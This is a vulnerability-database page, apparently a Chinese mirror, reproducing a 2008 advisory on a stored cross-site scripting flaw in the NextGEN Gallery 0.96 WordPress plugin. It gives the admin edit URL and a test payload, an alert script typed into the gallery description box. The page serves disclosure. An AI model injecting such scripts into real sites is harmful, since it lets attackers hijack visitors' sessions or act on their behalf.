XSS - NEXTGEN GALLERY 0.96 WORDPRESS PLUGIN

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1052712 漏洞类型
发布时间 2008-06-10 更新时间 2008-06-10
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2008060037
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
==============================

XSS - Nextgen gallery 0.96 wordpress plugin

==============================

Author: Eduardo Neves a.k.a _eth0_
Date: 07 june 2008
Site: webappsecurity.wordpress.com

�������������

APPLICATION : Nextgen gallery
VERSION : <= 0.96
VENDOR : http://wordpress.org/extend/plugins/nextgen-gallery/
DOWNLOAD : http://wordpress.org/extend/plugins/nextgen-gallery/

&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;

IMPACT: XSS, XSRF, etc&#65533;.

&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;

Descrition:

This vulnerability can be explored writing in the descritption textbox
a mailicous (or not) code

link: http://[host]/[directory]/wp-admin/admin.php?page=nggallery-manage-gallery&mode=edit&gid=[galleryID]&_wpnonce=0b3c0996ed

In the description textbox write the text:

<script>alert('xss');</script>

And when the gallery was posted, user click in photo and the script
was executed!

<pre>-- |_|0|_| Serrano Neves - a.k.a eth0|_|_|0| http://webappsecurity.wordpress.com|0|0|0| "Talk is cheap. Show me the code." - Linus Torvalds</pre>